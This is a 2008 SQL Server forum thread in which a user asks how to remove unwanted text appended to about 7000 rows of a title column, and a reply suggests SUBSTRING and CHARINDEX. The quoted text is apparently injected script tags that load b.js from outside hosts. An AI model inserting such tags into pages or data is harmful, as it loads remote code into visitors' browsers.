Please start any new threads on our new site at https://forums.sqlteam.com. We've got lots of great SQL Server experts to answer whatever question you can come up with.

 All Forums
 General SQL Server Forums
 New to SQL Server Programming
 Identifying & Deleting Particular String

Author  Topic 

girishkardam
Starting Member

13 Posts

Posted - 2008-07-31 : 07:25:52
Hi,

In my DB i am having column by the name of title_name in this column i am having data which is preceded by some unknown string like this

Khichdi<script src=http://www.alzhead.com/b.js></script><script src=http://www.adwbnr.com/b.js></script><script src=http://www.adwbnr.com/b.js></script><script src=http://www.adwbnr.com/b.js></script>

I want to delete this string with out effecting the remaining data

<script src=http://www.alzhead.com/b.js></script><script src=http://www.adwbnr.com/b.js></script><script src=http://www.adwbnr.com/b.js></script><script src=http://www.adwbnr.com/b.js></script>


Since there are around 7000 rows in db its not possible for me to delete every string manually. Kindly help me.

pootle_flump

1064 Posts

Posted - 2008-07-31 : 08:12:19
Check out SUBSTRING and CHARINDEX in BoL. You use charindex to find the first "<" and then substring to select only the string portion you want.
Go to Top of Page
   

- Advertisement -